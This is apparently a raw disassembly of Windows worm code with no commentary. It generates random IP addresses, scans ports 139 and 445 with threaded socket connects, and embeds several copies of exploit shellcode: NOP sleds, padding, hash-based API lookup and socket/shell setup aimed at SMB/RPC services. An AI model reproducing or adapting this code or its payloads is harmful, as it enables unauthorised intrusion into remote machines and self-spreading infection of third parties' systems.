		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		push	0
		call	sub_41274B
		push	offset dword_41BCA4
		call	sub_4051C0


loc_40508A:				; CODE XREF: rdata:004050D7j
		push	31h
		push	offset byte_414A09
		call	sub_405190
		shl	eax, 18h
		mov	dword_41BC98, eax
		lea	eax, [ebp-4]
		push	eax
		push	1
		push	dword ptr [ebp+8]
		push	402ED0h
		push	300h
		push	0
		call	sub_40A128
		mov	[ebp-8], eax
		push	0FFFFFFFFh
		push	dword ptr [ebp-8]
		call	sub_40A236
		push	dword ptr [ebp-8]
		call	sub_40A0FE
		push	0EA60h
		call	sub_40A212
		jmp	short loc_40508A
; ---------------------------------------------------------------------------
		db 68h,	0, 80h
		dd 6A0000h, 0BCA435FFh,	45E80041h, 5B000051h, 0C2C95F5Eh
		dd 0A48D0004h, 24h, 24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405100	proc near		; CODE XREF: sub_408C10+FDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40A110
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405179
		push	0
		push	[ebp+var_4]
		call	sub_40A176
		mov	ebx, eax
		add	eax, 3E8h
		push	40h
		push	1000h
		push	eax
		push	0
		call	sub_40A22A
		mov	edi, eax
		or	eax, eax
		jz	short loc_405179
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		push	0
		push	esp
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	sub_40A1E8
		push	[ebp+var_4]
		call	sub_40A0FE
		mov	ecx, [ebp+arg_8]
		mov	[ecx], ebx
		xor	eax, eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_405179:				; CODE XREF: sub_405100+29j
					; sub_405100+4Fj
		mov	eax, 0FFFFFFFFh
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_405100	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		dd 0
		dd 24648Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405190	proc near		; CODE XREF: rdata:00405091p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40A27E
		lea	ecx, [ebp+var_20]
		xor	edx, edx
		mov	eax, [ecx+5]
		mov	ecx, [ebp+arg_4]
		div	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [edx+eax]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_405190	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051C0	proc near		; CODE XREF: rdata:00405085p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	40h
		push	1000h
		push	1FFFEh
		push	0
		call	sub_40A22A
		mov	[ebp+var_4], eax
		push	40h
		push	1000h
		push	1FFFEh
		push	0
		call	sub_40A22A
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_405260
		push	[ebp+var_8]
		call	sub_4052A0
		xor	ebx, ebx
		mov	edi, [ebp+var_8]
		mov	esi, [ebp+var_4]
		jmp	short loc_405239
; ---------------------------------------------------------------------------


loc_405214:				; CODE XREF: sub_4051C0+7Fj
		xor	edx, edx
		mov	eax, [ebx+esi]
		mov	ecx, 0FFFFh
		div	ecx
		shl	edx, 1
		movzx	eax, word ptr [edx+edi]
		mov	ecx, ebx
		shl	ecx, 1
		push	ebp
		movzx	ebp, word ptr [ecx+edi]
		mov	[ecx+edi], ax
		mov	[edx+edi], bp
		pop	ebp
		inc	ebx


loc_405239:				; CODE XREF: sub_4051C0+52j
		cmp	ebx, 0FFFFh
		jnz	short loc_405214
		push	8000h
		push	0
		push	[ebp+var_4]
		call	sub_40A230
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4051C0	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405260	proc near		; CODE XREF: sub_4051C0+3Dp
					; sub_40FFD0+13p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40A2A2
		push	[ebp+arg_0]
		push	1FFFEh
		push	[ebp+var_4]
		call	sub_40A2A8
		push	0
		push	[ebp+var_4]
		call	sub_40A2AE
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_405260	endp

; ---------------------------------------------------------------------------
		dw 0FF8Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052A0	proc near		; CODE XREF: sub_4051C0+45p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		xor	esi, esi
		jmp	short loc_4052B7
; ---------------------------------------------------------------------------


loc_4052AF:				; CODE XREF: sub_4052A0+1Bj
		mov	[esi+edi], bx
		add	esi, 2
		inc	ebx


loc_4052B7:				; CODE XREF: sub_4052A0+Dj
		cmp	bx, 0FFFFh
		jnz	short loc_4052AF
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4052A0	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF28h
		push	edi
		push	esi
		push	ebx
		push	ebp
		push	esp
		push	offset dword_403048
		push	offset byte_40741D
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	dword ptr [ebp-0D8h], 0
		mov	dword_41BC90, 0
		mov	dword_41BCA0, 0
		mov	dword_41BC94, 0
		call	sub_40A1A0
		xor	edx, edx
		mov	ecx, 0FFh
		div	ecx
		movzx	ecx, dl
		shl	ecx, 10h
		mov	dword_41BC9C, ecx
		jmp	loc_4053F7
; ---------------------------------------------------------------------------


loc_40533D:				; CODE XREF: rdata:00405401j
		jmp	short loc_405349
; ---------------------------------------------------------------------------


loc_40533F:				; CODE XREF: rdata:00405350j
		push	2710h
		call	sub_40A212


loc_405349:				; CODE XREF: rdata:loc_40533Dj
		cmp	dword_41BCBC, 0
		jnz	short loc_40533F
		mov	ecx, dword_41BC94
		mov	edx, dword_41BCA4
		shl	ecx, 1
		movzx	esi, word ptr [edx+ecx]
		or	esi, dword_41BC98
		or	esi, dword_41BC9C
		push	offset dword_41BC94
		call	sub_40A1B8
		bswap	esi
		mov	dword_41B37A, esi
		lea	eax, [ebp-4]
		push	eax
		push	4
		push	dword_41B37A
		push	offset aIsProgramCanno ; "is program cannot be run in DOS mode.\r\r"...
		push	500h
		push	0
		call	sub_40A128
		or	eax, eax
		jnz	short loc_4053A8
		call	sub_40A17C


loc_4053A8:				; CODE XREF: rdata:004053A1j
		mov	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	sub_40A1EE
		push	dword ptr [ebp-0D4h]
		call	sub_40A0FE
		push	14h
		call	sub_40A212
		jmp	short loc_4053D7
; ---------------------------------------------------------------------------


loc_4053CD:				; CODE XREF: rdata:004053DEj
		push	1770h
		call	sub_40A212


loc_4053D7:				; CODE XREF: rdata:004053CBj
		cmp	dword_41BC90, 32h
		ja	short loc_4053CD
		cmp	dword_41BC94, 8000h
		jbe	short loc_4053F7
		cmp	dword_41BCA0, 50h
		jnb	short loc_4053F7
		jmp	short loc_405407
; ---------------------------------------------------------------------------


loc_4053F7:				; CODE XREF: rdata:00405338j
					; rdata:004053EAj ...
		cmp	dword_41BC94, 0FFF8h
		jb	loc_40533D


loc_405407:				; CODE XREF: rdata:004053F5j
		pop	large dword ptr	fs:0
		add	esp, 10h
		mov	dword ptr [ebp-0D0h], 0
		jmp	short loc_405438
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: rdata:0040543Fj
		push	2710h
		call	sub_40A212
		inc	dword ptr [ebp-0D0h]
		cmp	dword ptr [ebp-0D0h], 6
		jbe	short loc_405438
		jmp	short loc_405441
; ---------------------------------------------------------------------------


loc_405438:				; CODE XREF: rdata:0040541Bj
					; rdata:00405434j
		cmp	dword_41BC90, 0
		ja	short loc_40541D


loc_405441:				; CODE XREF: rdata:00405436j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0F1E8006Ah, 9000004Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFA0h
		push	edi
		push	esi
		push	ebx
		push	ebp
		push	esp
		push	offset word_4032B2
		push	offset byte_40745D
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	dword ptr [ebp-50h], 0
		mov	dword ptr [ebp-58h], 0
		push	dword ptr [ebp+8]
		pop	dword ptr [ebp-28h]
		push	dword ptr [ebp-28h]
		call	sub_4056D0
		or	eax, eax
		jnz	loc_4056B2
		push	offset dword_41BC90
		call	sub_40A1B8
		push	0
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_405599
		mov	[ebp-60h], eax
		mov	dword ptr [ebp-14h], 1
		lea	eax, [ebp-14h]
		push	eax
		push	8004667Eh
		push	dword ptr [ebp-60h]
		call	sub_40A326
		mov	word ptr [ebp-5Ch], 1
		mov	word ptr [ebp-5Ah], 0
		push	4
		lea	eax, [ebp-5Ch]
		push	eax
		push	80h
		push	0FFFFh
		push	dword ptr [ebp-60h]
		call	sub_40A33E
		mov	word ptr [ebp-10h], 2
		mov	eax, [ebp-28h]
		mov	[ebp-0Ch], eax
		push	8Bh
		call	sub_40A314
		mov	[ebp-0Eh], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-60h]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40558B
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	short loc_405591
		mov	dword ptr [ebp-1Ch], 6
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-24h], 1
		mov	eax, [ebp-60h]
		mov	[ebp-20h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	0
		lea	eax, [ebp-24h]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_405589
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405589


loc_405564:				; CODE XREF: rdata:0040558Fj
		push	offset dword_41BCA0
		call	sub_40A1B8
		mov	dword ptr [ebp-58h], 8Bh
		mov	dword ptr [ebp-50h], 1
		push	dword ptr [ebp-60h]
		call	sub_40A2FC
		jmp	loc_405684
; ---------------------------------------------------------------------------


loc_405589:				; CODE XREF: rdata:0040555Dj
					; rdata:00405562j
		jmp	short loc_405591
; ---------------------------------------------------------------------------


loc_40558B:				; CODE XREF: rdata:0040551Fj
		or	eax, eax
		jnz	short loc_405591
		jmp	short loc_405564
; ---------------------------------------------------------------------------


loc_405591:				; CODE XREF: rdata:0040552Bj
					; rdata:loc_405589j ...
		push	dword ptr [ebp-60h]
		call	sub_40A2FC


loc_405599:				; CODE XREF: rdata:004054AFj
		push	0
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_405684
		mov	[ebp-60h], eax
		mov	dword ptr [ebp-14h], 1
		lea	eax, [ebp-14h]
		push	eax
		push	8004667Eh
		push	dword ptr [ebp-60h]
		call	sub_40A326
		mov	word ptr [ebp-5Ch], 1
		mov	word ptr [ebp-5Ah], 0
		push	4
		lea	eax, [ebp-5Ch]
		push	eax
		push	80h
		push	0FFFFh
		push	dword ptr [ebp-60h]
		call	sub_40A33E
		mov	word ptr [ebp-10h], 2
		mov	eax, [ebp-28h]
		mov	[ebp-0Ch], eax
		push	1BDh
		call	sub_40A314
		mov	[ebp-0Eh], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-60h]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405676
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	short loc_40567C
		mov	dword ptr [ebp-1Ch], 6
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-24h], 1
		mov	eax, [ebp-60h]
		mov	[ebp-20h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	0
		lea	eax, [ebp-24h]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_405674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405674


loc_40565C:				; CODE XREF: rdata:0040567Aj
		push	offset dword_41BCA0
		call	sub_40A1B8
		mov	dword ptr [ebp-58h], 1BDh
		mov	dword ptr [ebp-50h], 1


loc_405674:				; CODE XREF: rdata:00405655j
					; rdata:0040565Aj
		jmp	short loc_40567C
; ---------------------------------------------------------------------------


loc_405676:				; CODE XREF: rdata:00405617j
		or	eax, eax
		jnz	short loc_40567C
		jmp	short loc_40565C
; ---------------------------------------------------------------------------


loc_40567C:				; CODE XREF: rdata:00405623j
					; rdata:loc_405674j ...
		push	dword ptr [ebp-60h]
		call	sub_40A2FC


loc_405684:				; CODE XREF: rdata:00405584j
					; rdata:004055A7j
		cmp	dword ptr [ebp-50h], 1
		jnz	short loc_405692
		push	dword ptr [ebp-28h]
		call	sub_408DC0


loc_405692:				; CODE XREF: rdata:00405688j
		push	offset dword_41BC90
		call	sub_40A1B2
		cmp	dword_41BC90, 0FF000000h
		jbe	short loc_4056B2
		mov	dword_41BC90, 0


loc_4056B2:				; CODE XREF: rdata:00405491j
					; rdata:004056A6j
		pop	large dword ptr	fs:0
		add	esp, 10h
		push	0
		call	sub_40A140
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056D0	proc near		; CODE XREF: rdata:0040548Ap

var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_68		= byte ptr -68h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF64h
		push	edi
		push	esi
		push	ebx
		cmp	dword_41BCB8, 0
		jz	loc_4057A6
		call	dword_41BCA8
		mov	[ebp+var_9C], eax
		cmp	[ebp+var_9C], 0
		jz	loc_4057A2
		mov	[ebp+var_94], 0FFFFFFFFh
		push	offset word_414A92
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_40A25A
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_98], 2
		jmp	short loc_405785
; ---------------------------------------------------------------------------


loc_40572C:				; CODE XREF: sub_4056D0+BCj
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_40A266
		mov	ebx, eax
		lea	ecx, [ebp+var_68]
		lea	edx, [ebp+var_90]
		push	7D0h
		push	64h
		push	ecx
		push	0
		push	ebx
		push	edx
		push	edi
		push	[ebp+var_9C]
		call	dword_41BCAC
		or	eax, eax
		jz	short loc_40577F
		lea	ecx, [ebp+var_68]
		push	64h
		push	ecx
		call	dword_41BCB0
		lea	ebx, [ebp+var_68]
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_40577F
		mov	[ebp+var_94], 0


loc_40577F:				; CODE XREF: sub_4056D0+8Ej
					; sub_4056D0+A3j
		dec	[ebp+var_98]


loc_405785:				; CODE XREF: sub_4056D0+5Aj
		cmp	[ebp+var_98], 0
		jnz	short loc_40572C
		push	[ebp+var_9C]
		call	dword_41BCB4
		mov	eax, [ebp+var_94]
		jmp	short loc_4057A8
; ---------------------------------------------------------------------------


loc_4057A2:				; CODE XREF: sub_4056D0+2Cj
		xor	eax, eax
		jmp	short loc_4057A8
; ---------------------------------------------------------------------------


loc_4057A6:				; CODE XREF: sub_4056D0+13j
		xor	eax, eax


loc_4057A8:				; CODE XREF: sub_4056D0+D0j
					; sub_4056D0+D4j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4056D0	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 0FFFFFFFFh, 1, 0
		dd 1, 0
		dd 215h, 0
		dd 215h, 94h dup(90909090h), 0EFFFC481h, 0EB44FFFFh, 0E86BEB02h
		dd 0FFFFFFF9h, 57565553h, 18246C8Bh, 8B3C458Bh,	3782854h
		dd 184A8BD5h, 3205A8Bh,	4932E3DDh, 38B348Bh, 0FCFF33F5h
		dd 38ACC033h, 0C10774E0h, 0F8030DCFh, 7C3BF2EBh, 0E1751424h
		dd 3245A8Bh, 0C8B66DDh,	1C5A8B4Bh, 48BDD03h, 0EBC5038Bh
		dd 5FC03302h, 895B5D5Eh, 8B042444h, 44892404h, 448B0824h
		dd 0C4830424h, 6A5EC308h, 8B645930h, 0C5B8B19h,	8B1C5B8Bh
		dd 87B8B1Bh, 8B1CEC83h,	50C033ECh, 78652E68h, 14658965h
		dd 49EA6857h, 0D6FFE88Ah, 75FF066Ah, 89D0FF14h,	68570445h
		dd 0E9238ADBh, 4589D6FFh, 8E68570Ch, 0FFEC0E4Eh, 66C933D6h
		dd 516C6CB9h, 2E323368h, 73776864h, 0FF545F32h,	53D88BD0h
		dd 1819B668h, 89D6FFE7h, 68531045h, 79C679E7h, 4589D6FFh
		dd 6E685318h, 0FF492F0Bh, 6A066AD6h, 0FF026A01h, 84589D0h
		dd 5050C033h, 0FF02B850h, 0F4800427h, 0C48B50FFh, 0FF50106Ah
		dd 68530875h, 0C7701AA4h, 0D0FFD6FFh, 0A4685358h, 0FFE92EADh
		dd 0FF106AD6h, 0D0FF0875h, 5050C033h, 530875FFh, 8649E568h
		dd 0FFD6FF49h, 84D8BD0h, 51084589h, 811855FFh, 0FFFEFCC4h
		dd 33DC8BFFh, 0FFB151C9h, 75FF5351h, 1055FF08h,	0A7EC085h
		dd 75FF5350h, 0C55FF04h, 75FFE5EBh, 1855FF08h, 4C5B6857h
		dd 0D6FFDD1Ah, 0FF0475FFh, 50C033D0h, 571475FFh, 8AFE9868h
		dd 0FFD6FF0Eh, 0EF6857D0h, 0FF60E0CEh, 0D0FFD6h, 10h dup(2080Ah)
		dd 0
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 0
		dd 0FFFFFFFFh, 1, 0
		dd 1, 0
		dd 163h, 0
		dd 163h, 0EFFFC481h, 8B44FFFFh,	0EB02EBECh, 0FFF9E86Bh
		dd 5553FFFFh, 6C8B5756h, 458B1824h, 28548B3Ch, 8BD50378h
		dd 5A8B184Ah, 0E3DD0320h, 348B4932h, 33F5038Bh,	0C033FCFFh
		dd 74E038ACh, 0DCFC107h, 0F2EBF803h, 14247C3Bh,	5A8BE175h
		dd 66DD0324h, 8B4B0C8Bh, 0DD031C5Ah, 38B048Bh, 3302EBC5h
		dd 5D5E5FC0h, 2444895Bh, 24048B04h, 8244489h, 424448Bh
		dd 0C308C483h, 364C033h, 408B3040h, 1C708B0Ch, 8788BADh
		dd 50C0335Eh, 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah
		dd 75FF066Ah, 89D0FF14h, 68570445h, 0E9238ADBh,	4589D6FFh
		dd 8E68570Ch, 0FFEC0E4Eh, 66C933D6h, 516C6CB9h,	2E323368h
		dd 73776864h, 0FF545F32h, 53D88BD0h, 1819B668h,	89D6FFE7h
		dd 68531045h, 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh
		dd 6A066AD6h, 0FF026A01h, 4589D0h, 5050C033h, 0FF02B850h
		dd 0F4800427h, 0C48B50FFh, 0FF50106Ah, 68530075h, 0C7701AA4h
		dd 0D0FFD6FFh, 0A4685350h, 0FFE92EADh, 75FFD6h,	5050D0FFh
		dd 530075FFh, 8649E568h, 0FFD6FF49h, 4589D0h, 0FEFCC481h
		dd 0DC8BFFFFh, 0B151C933h, 0FF5351FFh, 55FF0075h, 7EC08510h
		dd 0FF53500Ah, 55FF0475h, 57E5EB0Ch, 1A4C5B68h,	0FFD6FFDDh
		dd 0D0FF0475h, 0FF50C033h, 68571475h, 0E8AFE98h, 0D0FFD6FFh
		dd 0CEEF6857h, 0D6FF60E0h, 4141D0FFh, 38h dup(41414141h)
		dd 2080Ah, 2 dup(41414141h), 20804h, 8 dup(41414141h)
		dd 20804h, 2 dup(41414141h), 20804h, 8 dup(41414141h)
		dd 0
		dd 0D7h, 1, 0
		dd 1, 0
		dd 0CBh, 0
		dd 1E044D58h, 1, 0
		dd 1, 61AB0000h, 163h, 0
		dd 163h, 0EFFFC481h, 8B44FFFFh,	0EB02EBECh, 0FFF9E86Bh
		dd 5553FFFFh, 6C8B5756h, 458B1824h, 28548B3Ch, 8BD50378h
		dd 5A8B184Ah, 0E3DD0320h, 348B4932h, 33F5038Bh,	0C033FCFFh
		dd 74E038ACh, 0DCFC107h, 0F2EBF803h, 14247C3Bh,	5A8BE175h
		dd 66DD0324h, 8B4B0C8Bh, 0DD031C5Ah, 38B048Bh, 3302EBC5h
		dd 5D5E5FC0h, 2444895Bh, 24048B04h, 8244489h, 424448Bh
		dd 0C308C483h, 364C033h, 408B3040h, 1C708B0Ch, 8788BADh
		dd 50C0335Eh, 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah
		dd 75FF066Ah, 89D0FF14h, 68570445h, 0E9238ADBh,	4589D6FFh
		dd 8E68570Ch, 0FFEC0E4Eh, 66C933D6h, 516C6CB9h,	2E323368h
		dd 73776864h, 0FF545F32h, 53D88BD0h, 1819B668h,	89D6FFE7h
		dd 68531045h, 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh
		dd 6A066AD6h, 0FF026A01h, 4589D0h, 5050C033h, 0FF02B850h
		dd 0F4800427h, 0C48B50FFh, 0FF50106Ah, 68530075h, 0C7701AA4h
		dd 0D0FFD6FFh, 0A4685350h, 0FFE92EADh, 75FFD6h,	5050D0FFh
		dd 530075FFh, 8649E568h, 0FFD6FF49h, 4589D0h, 0FEFCC481h
		dd 0DC8BFFFFh, 0B151C933h, 0FF5351FFh, 55FF0075h, 7EC08510h
		dd 0FF53500Ah, 55FF0475h, 57E5EB0Ch, 1A4C5B68h,	0FFD6FFDDh
		dd 0D0FF0475h, 0FF50C033h, 68571475h, 0E8AFE98h, 0D0FFD6FFh
		dd 0CEEF6857h, 0D6FF60E0h, 4141D0FFh, 42h dup(41414141h)
		dd 71C8C1ECh, 2	dup(41414141h),	2 dup(71C8C1ECh), 9 dup(41414141h)
		dd 7FAB0000h, 0A4h, 1, 0
		dd 1, 28090000h, 64h, 11h, 0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0EFFFC481h, 0EB44FFFFh, 0E86BEB02h
		dd 0FFFFFFF9h, 57565553h, 18246C8Bh, 8B3C458Bh,	3782854h
		dd 184A8BD5h, 3205A8Bh,	4932E3DDh, 38B348Bh, 0FCFF33F5h
		dd 38ACC033h, 0C10774E0h, 0F8030DCFh, 7C3BF2EBh, 0E1751424h
		dd 3245A8Bh, 0C8B66DDh,	1C5A8B4Bh, 48BDD03h, 0EBC5038Bh
		dd 5FC03302h, 895B5D5Eh, 8B042444h, 44892404h, 448B0824h
		dd 0C4830424h, 6A5EC308h, 8B645930h, 0C5B8B19h,	8B1C5B8Bh
		dd 87B8B1Bh, 8B1CEC83h,	50C033ECh, 78652E68h, 14658965h
		dd 49EA6857h, 0D6FFE88Ah, 75FF066Ah, 89D0FF14h,	68570445h
		dd 0E9238ADBh, 4589D6FFh, 8E68570Ch, 0FFEC0E4Eh, 66C933D6h
		dd 516C6CB9h, 2E323368h, 73776864h, 0FF545F32h,	53D88BD0h
		dd 1819B668h, 89D6FFE7h, 68531045h, 79C679E7h, 4589D6FFh
		dd 6E685318h, 0FF492F0Bh, 6A066AD6h, 0FF026A01h, 84589D0h
		dd 5050C033h, 0FF02B850h, 0F4800427h, 0C48B50FFh, 0FF50106Ah
		dd 68530875h, 0C7701AA4h, 0D0FFD6FFh, 0A4685358h, 0FFE92EADh
		dd 0FF106AD6h, 0D0FF0875h, 5050C033h, 530875FFh, 8649E568h
		dd 0FFD6FF49h, 84D8BD0h, 51084589h, 811855FFh, 0FFFEFCC4h
		dd 33DC8BFFh, 0FFB151C9h, 75FF5351h, 1055FF08h,	0A7EC085h
		dd 75FF5350h, 0C55FF04h, 75FFE5EBh, 1855FF08h, 4C5B6857h
		dd 0D6FFDD1Ah, 0FF0475FFh, 50C033D0h, 571475FFh, 8AFE9868h
		dd 0FFD6FF0Eh, 0EF6857D0h, 0FF60E0CEh, 90D0FFD6h, 170h dup(90909090h)
		dd 7E0h, 4, 1Eh	dup(0)
		dd 7A108260h, 62B0606h,	2050501h, 6E1082A0h, 6A108230h
		dd 661082A1h, 62108223h, 1048203h, 41414100h, 0FFh dup(41414141h)
		dd 23000341h, 3570C82h,	0A0482h, 2 dup(42904290h), 0EFFFC481h
		dd 0EB44FFFFh, 0E86BEB02h, 0FFFFFFF9h, 57565553h, 18246C8Bh
		dd 8B3C458Bh, 3782854h,	184A8BD5h, 3205A8Bh, 4932E3DDh
		dd 38B348Bh, 0FCFF33F5h, 38ACC033h, 0C10774E0h,	0F8030DCFh
		dd 7C3BF2EBh, 0E1751424h, 3245A8Bh, 0C8B66DDh, 1C5A8B4Bh
		dd 48BDD03h, 0EBC5038Bh, 5FC03302h, 895B5D5Eh, 8B042444h
		dd 44892404h, 448B0824h, 0C4830424h, 6A5EC308h,	8B645930h
		dd 0C5B8B19h, 8B1C5B8Bh, 87B8B1Bh, 8B1CEC83h, 50C033ECh
		dd 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah,	75FF066Ah
		dd 89D0FF14h, 68570445h, 0E9238ADBh, 4589D6FFh,	8E68570Ch
		dd 0FFEC0E4Eh, 66C933D6h, 516C6CB9h, 2E323368h,	73776864h
		dd 0FF545F32h, 53D88BD0h, 1819B668h, 89D6FFE7h,	68531045h
		dd 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh,	6A066AD6h
		dd 0FF026A01h, 84589D0h, 5050C033h, 0FF02B850h,	0F4800427h
		dd 0C48B50FFh, 0FF50106Ah, 68530875h, 0C7701AA4h, 0D0FFD6FFh
		dd 0A4685358h, 0FFE92EADh, 0FF106AD6h, 0D0FF0875h, 5050C033h
		dd 530875FFh, 8649E568h, 0FFD6FF49h, 84D8BD0h, 51084589h
		dd 811855FFh, 0FFFEFCC4h, 33DC8BFFh, 0FFB151C9h, 75FF5351h
		dd 1055FF08h, 0A7EC085h, 75FF5350h, 0C55FF04h, 75FFE5EBh
		dd 1855FF08h, 4C5B6857h, 0D6FFDD1Ah, 0FF0475FFh, 50C033D0h
		dd 571475FFh, 8AFE9868h, 0FFD6FF0Eh, 0EF6857D0h, 0FF60E0CEh
		dd 55D0FFD6h, 9Ah dup(42424242h), 30A2342h, 0FF80008h
		dd 0FF80001h, 8822301h,	4820339h, 43430011h, 0F0204343h
		dd 56537FFDh, 0EC816657h, 0E6890080h, 0EDE8h, 6836FF00h
		dd 63D61209h, 0F7E8h, 8468900h,	0A2E8h,	476FF00h, 2BD06B68h
		dd 0E2E8CAh, 46890000h,	3FE80Ch, 76FF0000h, 97FA6804h
		dd 0CDE84C02h, 31000000h, 41068DBh, 0FF530000h,	56C389D0h
		dd 8910768Bh, 410B9C7h,	0A4F30000h, 50C0315Eh, 50535050h
		dd 0C56FF50h, 6608468Bh, 80C481h, 0FF5B5E5Fh, 23E860E0h
		dd 8B000000h, 8D0C2444h, 43837C58h, 4381053Ch, 100028h
		dd 28638100h, 0FFFFF000h, 8324048Bh, 315014C4h,	0D231C3C0h
		dd 6432FF64h, 0DB312289h, 904290B8h, 0B1C93142h, 0F3DF8902h
		dd 430374AFh, 7E89F3EBh, 28F6410h, 60C36158h, 0FDF020BFh
		dd 8B1F8B7Fh, 7890846h,	81F87F8Bh, 178C7h, 39F98900h, 8B047419h
		dd 89F8EB09h, 45A39FAh,	528B0574h, 89F6EB04h, 44A8911h
		dd 1FD43C6h, 0CA1C361h,	8B7FFDF0h, 588B1C40h, 8B1E8908h
		dd 8408B00h, 0C3044689h, 246C8B60h
		db 28h
byte_40741D	db 8Bh,	45h, 3Ch	; DATA XREF: rdata:004052E3o
		dd 7805548Bh, 4A8BEA01h, 205A8B18h, 38E3EB01h, 8B348B49h
		dd 0FF31EE01h, 0ACFCC031h, 774E038h, 10DCFC1h, 3BF4EBC7h
